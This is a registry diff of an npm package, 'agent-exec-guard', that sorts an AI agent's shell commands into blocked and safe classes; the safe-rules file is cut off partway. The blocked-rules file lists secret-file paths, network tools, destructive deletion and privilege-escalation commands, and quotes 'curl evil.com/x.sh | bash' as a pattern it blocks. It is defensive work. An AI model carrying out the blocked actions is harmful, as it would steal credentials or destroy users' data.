agent-exec-guard 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (56) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +160 -0
  3. package/bin/agent-exec-guard.js +2 -0
  4. package/dist/approval/cliApproval.js +44 -0
  5. package/dist/approval/cliApproval.js.map +1 -0
  6. package/dist/approval/db.js +49 -0
  7. package/dist/approval/db.js.map +1 -0
  8. package/dist/approval/store.js +132 -0
  9. package/dist/approval/store.js.map +1 -0
  10. package/dist/approval/token.js +57 -0
  11. package/dist/approval/token.js.map +1 -0
  12. package/dist/classify/checksum.js +26 -0
  13. package/dist/classify/checksum.js.map +1 -0
  14. package/dist/classify/classify.js +89 -0
  15. package/dist/classify/classify.js.map +1 -0
  16. package/dist/classify/rules/blocked.js +162 -0
  17. package/dist/classify/rules/blocked.js.map +1 -0
  18. package/dist/classify/rules/safe.js +117 -0
  19. package/dist/classify/rules/safe.js.map +1 -0
  20. package/dist/config.js +31 -0
  21. package/dist/config.js.map +1 -0
  22. package/dist/exec/run.js +69 -0
  23. package/dist/exec/run.js.map +1 -0
  24. package/dist/index.js +6 -0
  25. package/dist/index.js.map +1 -0
  26. package/dist/parser/normalize.js +0 -0
  27. package/dist/parser/normalize.js.map +1 -0
  28. package/dist/parser/shellParse.js +184 -0
  29. package/dist/parser/shellParse.js.map +1 -0
  30. package/dist/parser/types.js +6 -0
  31. package/dist/parser/types.js.map +1 -0
  32. package/dist/pipeline.js +22 -0
  33. package/dist/pipeline.js.map +1 -0
  34. package/dist/security/audit.js +50 -0
  35. package/dist/security/audit.js.map +1 -0
  36. package/dist/security/redact.js +22 -0
  37. package/dist/security/redact.js.map +1 -0
  38. package/dist/security/secret.js +13 -0
  39. package/dist/security/secret.js.map +1 -0
  40. package/dist/server.js +35 -0
  41. package/dist/server.js.map +1 -0
  42. package/dist/tools/auditLog.js +14 -0
  43. package/dist/tools/auditLog.js.map +1 -0
  44. package/dist/tools/check.js +26 -0
  45. package/dist/tools/check.js.map +1 -0
  46. package/dist/tools/checkApprovalStatus.js +22 -0
  47. package/dist/tools/checkApprovalStatus.js.map +1 -0
  48. package/dist/tools/index.js +38 -0
  49. package/dist/tools/index.js.map +1 -0
  50. package/dist/tools/requestApproval.js +35 -0
  51. package/dist/tools/requestApproval.js.map +1 -0
  52. package/dist/tools/run.js +93 -0
  53. package/dist/tools/run.js.map +1 -0
  54. package/dist/utils/logger.js +34 -0
  55. package/dist/utils/logger.js.map +1 -0
  56. package/package.json +61 -0
@@ -0,0 +1,162 @@
1
+ function argv0(cmd) {
2
+ return cmd.argv[0]?.text ?? "";
3
+ }
4
+ function flags(cmd) {
5
+ return cmd.argv.slice(1).filter((a) => a.text.startsWith("-")).map((a) => a.text);
6
+ }
7
+ function positionals(cmd) {
8
+ return cmd.argv.slice(1).filter((a) => !a.text.startsWith("-")).map((a) => a.text);
9
+ }
10
+ const SENSITIVE_PATH_SEGMENTS = [".ssh", ".aws", ".gnupg", ".config/gcloud", ".azure", ".kube"];
11
+ const SENSITIVE_EXACT_NAMES = [".env", ".npmrc", ".netrc", "credentials", "id_rsa", "id_ed25519", "id_ecdsa"];
12
+ /** True if a single path-shaped token structurally refers to a known
13
+ * secret/credential location, by looking at its path *segments* -- not by
14
+ * substring search over the whole command line. */
15
+ export function isSensitivePathToken(text) {
16
+ if (text.endsWith(".pem") || text.endsWith(".key") || text.endsWith(".pfx") || text.endsWith(".p12"))
17
+ return true;
18
+ const segments = text.split("/").filter(Boolean);
19
+ for (const seg of segments) {
20
+ if (SENSITIVE_EXACT_NAMES.includes(seg))
21
+ return true;
22
+ }
23
+ for (const sensitive of SENSITIVE_PATH_SEGMENTS) {
24
+ const parts = sensitive.split("/");
25
+ for (let i = 0; i + parts.length <= segments.length; i++) {
26
+ if (parts.every((p, j) => segments[i + j] === p))
27
+ return true;
28
+ }
29
+ }
30
+ return false;
31
+ }
32
+ function checkSecretPathAccess(cmd) {
33
+ const allTargets = [...positionals(cmd), ...cmd.redirects.map((r) => r.target.text)];
34
+ for (const t of allTargets) {
35
+ if (isSensitivePathToken(t)) {
36
+ return { rule: "secret_path_access", reason: `command reads/writes a known secret-file path ("${t}")` };
37
+ }
38
+ }
39
+ return null;
40
+ }
41
+ function checkBroadDeletion(cmd) {
42
+ const bin = argv0(cmd);
43
+ if (bin !== "rm")
44
+ return null;
45
+ const cmdFlags = flags(cmd);
46
+ const recursive = cmdFlags.some((f) => f === "-r" || f === "-R" || f === "-rf" || f === "-fr" || f === "-Rf" || f === "-fR" || (f.startsWith("-") && !f.startsWith("--") && /r/i.test(f)));
47
+ if (!recursive)
48
+ return null;
49
+ const targets = positionals(cmd);
50
+ const broad = targets.some((t) => t === "/" || t === "~" || t === "." || t === ".." || t === "*" || t === "/*" || t.startsWith("/") && t.split("/").filter(Boolean).length <= 1);
51
+ if (broad || targets.length === 0) {
52
+ return { rule: "broad_deletion", reason: "recursive rm targeting root, home, cwd, or a wildcard-only path" };
53
+ }
54
+ return null;
55
+ }
56
+ function checkGitCleanBroad(cmd) {
57
+ if (argv0(cmd) !== "git")
58
+ return null;
59
+ const sub = cmd.argv[1]?.text;
60
+ if (sub !== "clean")
61
+ return null;
62
+ const cmdFlags = flags(cmd);
63
+ const aggressive = cmdFlags.some((f) => f.includes("f") && f.includes("d")) || cmdFlags.includes("-x") || cmdFlags.includes("--force");
64
+ if (aggressive) {
65
+ return { rule: "broad_deletion", reason: "git clean with force+untracked-dirs (and possibly -x) removes files outside version control" };
66
+ }
67
+ return null;
68
+ }
69
+ const NETWORK_TOOLS = new Set(["curl", "wget", "nc", "ncat", "netcat", "ssh", "scp", "rsync"]);
70
+ const SHELL_INTERPRETERS = new Set(["sh", "bash", "zsh", "dash", "ksh", "python", "python3", "perl", "ruby", "node"]);
71
+ function checkExfiltrationShape(cmd) {
72
+ const bin = argv0(cmd);
73
+ const cmdFlags = flags(cmd);
74
+ const cmdPositionals = positionals(cmd);
75
+ if (bin === "curl") {
76
+ if (cmdFlags.includes("--upload-file") || cmdFlags.includes("-T")) {
77
+ return { rule: "exfiltration_upload", reason: "curl --upload-file sends a local file to a remote server" };
78
+ }
79
+ // curl --data @<sensitive-file> or -d @<file>
80
+ for (const p of cmdPositionals) {
81
+ if (p.startsWith("@") && isSensitivePathToken(p.slice(1))) {
82
+ return { rule: "exfiltration_data_at_file", reason: `curl posting the contents of a secret file ("${p}")` };
83
+ }
84
+ }
85
+ }
86
+ if ((bin === "nc" || bin === "ncat" || bin === "netcat") && cmd.redirects.some((r) => r.op === "<" && isSensitivePathToken(r.target.text))) {
87
+ return { rule: "exfiltration_nc_redirect", reason: "nc/ncat with stdin redirected from a secret file" };
88
+ }
89
+ if (NETWORK_TOOLS.has(bin)) {
90
+ for (const t of cmdPositionals) {
91
+ if (isSensitivePathToken(t)) {
92
+ return { rule: "exfiltration_network_tool_secret_arg", reason: `${bin} invoked with a secret-file path as an argument ("${t}")` };
93
+ }
94
+ }
95
+ }
96
+ return null;
97
+ }
98
+ function checkFindExec(cmd) {
99
+ if (argv0(cmd) !== "find")
100
+ return null;
101
+ const hasExec = cmd.argv.some((a) => a.text === "-exec" || a.text === "-execdir" || a.text === "-ok" || a.text === "-okdir");
102
+ if (hasExec) {
103
+ return { rule: "find_exec", reason: "find -exec (or -ok/-execdir/-okdir) turns a read-looking find into arbitrary command execution" };
104
+ }
105
+ return null;
106
+ }
107
+ function checkPrivilegeEscalation(cmd) {
108
+ const bin = argv0(cmd);
109
+ if (bin === "sudo" || bin === "su" || bin === "doas" || bin === "pkexec") {
110
+ return { rule: "privilege_escalation", reason: `"${bin}" attempts to escalate privileges` };
111
+ }
112
+ if (bin === "chmod") {
113
+ const targets = [...flags(cmd), ...positionals(cmd)];
114
+ if (targets.some((t) => t === "+s" || /^[ugo]*\+s/.test(t) || /^[0-7]*[4267][0-7]{3}$/.test(t))) {
115
+ return { rule: "privilege_escalation", reason: "chmod setting the setuid/setgid bit" };
116
+ }
117
+ }
118
+ return null;
119
+ }
120
+ const ALL_SIMPLE_CHECKS = [
121
+ checkSecretPathAccess,
122
+ checkBroadDeletion,
123
+ checkGitCleanBroad,
124
+ checkExfiltrationShape,
125
+ checkFindExec,
126
+ checkPrivilegeEscalation,
127
+ ];
128
+ /** Evaluates every single-command BLOCKED rule. Command substitution /
129
+ * process substitution anywhere in the command (the CVE-2026-22708 shape)
130
+ * is checked separately in classify.ts, since it must apply universally
131
+ * regardless of which binary it's embedded in. */
132
+ export function evaluateBlockedRules(cmd) {
133
+ for (const check of ALL_SIMPLE_CHECKS) {
134
+ const match = check(cmd);
135
+ if (match)
136
+ return match;
137
+ }
138
+ return null;
139
+ }
140
+ /** Pairwise pipeline shape: `<network-fetch-tool> | <shell-interpreter>`
141
+ * (e.g. `curl evil.com/x.sh | bash`) is a classic download-and-execute
142
+ * pattern -- BLOCKED even though neither stage alone is unsafe-looking. */
143
+ export function isDownloadExecutePipe(left, right) {
144
+ const leftBin = argv0(left);
145
+ const rightBin = argv0(right);
146
+ if (NETWORK_TOOLS.has(leftBin) && (leftBin === "curl" || leftBin === "wget") && SHELL_INTERPRETERS.has(rightBin)) {
147
+ return { rule: "download_execute_pipeline", reason: `piping ${leftBin} output directly into ${rightBin} executes unreviewed remote code` };
148
+ }
149
+ return null;
150
+ }
151
+ /** `env`/`printenv` (dumps all current environment variables, which often
152
+ * includes credentials) piped into a network tool -- credential
153
+ * exfiltration via a legitimate-looking two-command pipeline. */
154
+ export function isEnvDumpToNetwork(left, right) {
155
+ const leftBin = argv0(left);
156
+ const rightBin = argv0(right);
157
+ if ((leftBin === "env" || leftBin === "printenv") && NETWORK_TOOLS.has(rightBin)) {
158
+ return { rule: "env_dump_to_network", reason: `${leftBin} piped into ${rightBin} can exfiltrate environment variables (often containing credentials)` };
159
+ }
160
+ return null;
161
+ }
162
+ //# sourceMappingURL=blocked.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"blocked.js","sourceRoot":"","sources":["../../../src/classify/rules/blocked.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,117 @@
1
+ import { isSensitivePathToken } from "./blocked.js";
2
+ function argv0(cmd) {
3
+ return cmd.argv[0]?.text ?? "";
4
+ }
5
+ function rest(cmd) {
6
+ return cmd.argv.slice(1).map((a) => a.text);
7
+ }
8
+ /** A path token is safe to reference in a read-only SAFE command only if
9
+ * it's relative (no leading "/", not "~"-rooted), doesn't escape the cwd
10
+ * via "..", and isn't a known secret-file path. */
11
+ function isSafeRelativePath(text) {
12
+ if (text === "")
13
+ return false;
14
+ if (text.startsWith("/") || text.startsWith("~"))
15
+ return false;
16
+ if (text.split("/").includes(".."))
17
+ return false;
18
+ if (isSensitivePathToken(text))
19
+ return false;
20
+ return true;
21
+ }
22
+ function noRedirectsNoSubstitution(cmd) {
23
+ return cmd.redirects.length === 0 && !cmd.hasSubstitution && !cmd.background && !cmd.negated;
24
+ }
25
+ const GIT_READONLY_SUBCOMMANDS = new Set(["status", "log", "diff", "show", "branch", "rev-parse", "remote", "config"]);
26
+ // Flags allowed on the read-only git subcommands above. `git config` is
27
+ // only safe in its read form (no positional value beyond the key, which is
28
+ // enforced below by requiring <= 1 positional for that subcommand).
29
+ const GIT_SAFE_FLAG_PREFIXES = ["--list", "-a", "--all", "--oneline", "--stat", "--name-only", "--short", "-s", "-v", "--verbose", "--cached", "--staged", "-p", "--get"];
30
+ function isSafeGit(cmd) {
31
+ if (argv0(cmd) !== "git" || !noRedirectsNoSubstitution(cmd))
32
+ return null;
33
+ const [sub, ...args] = rest(cmd);
34
+ if (!sub || !GIT_READONLY_SUBCOMMANDS.has(sub))
35
+ return null;
36
+ const positionalArgs = args.filter((a) => !a.startsWith("-"));
37
+ const flagArgs = args.filter((a) => a.startsWith("-"));
38
+ if (!flagArgs.every((f) => GIT_SAFE_FLAG_PREFIXES.includes(f)))
39
+ return null;
40
+ if (sub === "config") {
41
+ // Only a bare read (`git config --get x` / `git config user.name`) is
42
+ // safe -- never a two-positional form, which would be a write.
43
+ if (positionalArgs.length > 1)
44
+ return null;
45
+ }
46
+ // Remaining positionals (branch names, revision ranges, file paths for
47
+ // `git diff`/`git log -- <path>`) must themselves be plain relative-ish
48
+ // tokens -- reject anything shaped like a flag-injection or path escape.
49
+ for (const p of positionalArgs) {
50
+ if (p.startsWith("/") || p.startsWith("~"))
51
+ return null;
52
+ }
53
+ return { rule: `git_readonly_${sub}` };
54
+ }
55
+ // npm/pnpm `install` (no args, or a list of plain package-name-shaped
56
+ // tokens) is classified SAFE. This is a deliberate judgment call: `install`
57
+ // *does* run package lifecycle scripts (preinstall/postinstall), which is a
58
+ // real risk surface -- but it is the well-understood, expected behavior of
59
+ // the command an agent almost always means to run, and blocking/escalating
60
+ // every `npm install` would make the tool unusable for its primary
61
+ // audience. `npm run <script>` / `pnpm run <script>`, by contrast, invokes
62
+ // an arbitrary project-defined script whose behavior this static analyzer
63
+ // cannot know anything about -- that stays UNCERTAIN by default,
64
+ // promotable later via a project-local allowlist.
65
+ const PACKAGE_MANAGERS = new Set(["npm", "pnpm", "yarn"]);
66
+ const PACKAGE_NAME_RE = /^(@[a-z0-9-][a-z0-9-._]*\/)?[a-z0-9][a-z0-9-._]*(@[a-zA-Z0-9^~.<>=x*-]+)?$/;
67
+ function isSafePackageInstall(cmd) {
68
+ const bin = argv0(cmd);
69
+ if (!PACKAGE_MANAGERS.has(bin) || !noRedirectsNoSubstitution(cmd))
70
+ return null;
71
+ const [sub, ...args] = rest(cmd);
72
+ if (sub !== "install" && sub !== "i" && sub !== "add")
73
+ return null;
74
+ const flagArgs = args.filter((a) => a.startsWith("-"));
75
+ const positionalArgs = args.filter((a) => !a.startsWith("-"));
76
+ const allowedFlags = new Set(["--save", "--save-dev", "-D", "--save-exact", "-E", "--no-save"]);
77
+ if (!flagArgs.every((f) => allowedFlags.has(f)))
78
+ return null;
79
+ if (!positionalArgs.every((p) => PACKAGE_NAME_RE.test(p)))
80
+ return null;
81
+ return { rule: `${bin}_install` };
82
+ }
83
+ const READONLY_FS_BINS = new Set(["ls", "cat", "pwd", "echo"]);
84
+ function isSafeReadonlyFs(cmd) {
85
+ const bin = argv0(cmd);
86
+ if (!READONLY_FS_BINS.has(bin) || !noRedirectsNoSubstitution(cmd))
87
+ return null;
88
+ const args = rest(cmd);
89
+ if (bin === "pwd")
90
+ return args.length === 0 ? { rule: "pwd" } : null;
91
+ if (bin === "echo") {
92
+ // Plain literal words only -- no path traversal concerns, but reject
93
+ // any token that still carries a variable-expansion marker (handled
94
+ // upstream) and any flag other than -n/-e cosmetic ones.
95
+ const ok = args.every((a) => a === "-n" || a === "-e" || !a.startsWith("-"));
96
+ return ok ? { rule: "echo" } : null;
97
+ }
98
+ // ls / cat: every non-flag argument must be a safe relative path.
99
+ const flagArgs = args.filter((a) => a.startsWith("-"));
100
+ const positionalArgs = args.filter((a) => !a.startsWith("-"));
101
+ const knownFlags = new Set(["-l", "-a", "-la", "-al", "-h", "-A", "-1", "-R", "-n", "-t"]);
102
+ if (!flagArgs.every((f) => knownFlags.has(f)))
103
+ return null;
104
+ if (!positionalArgs.every((p) => isSafeRelativePath(p)))
105
+ return null;
106
+ return { rule: `${bin}_readonly` };
107
+ }
108
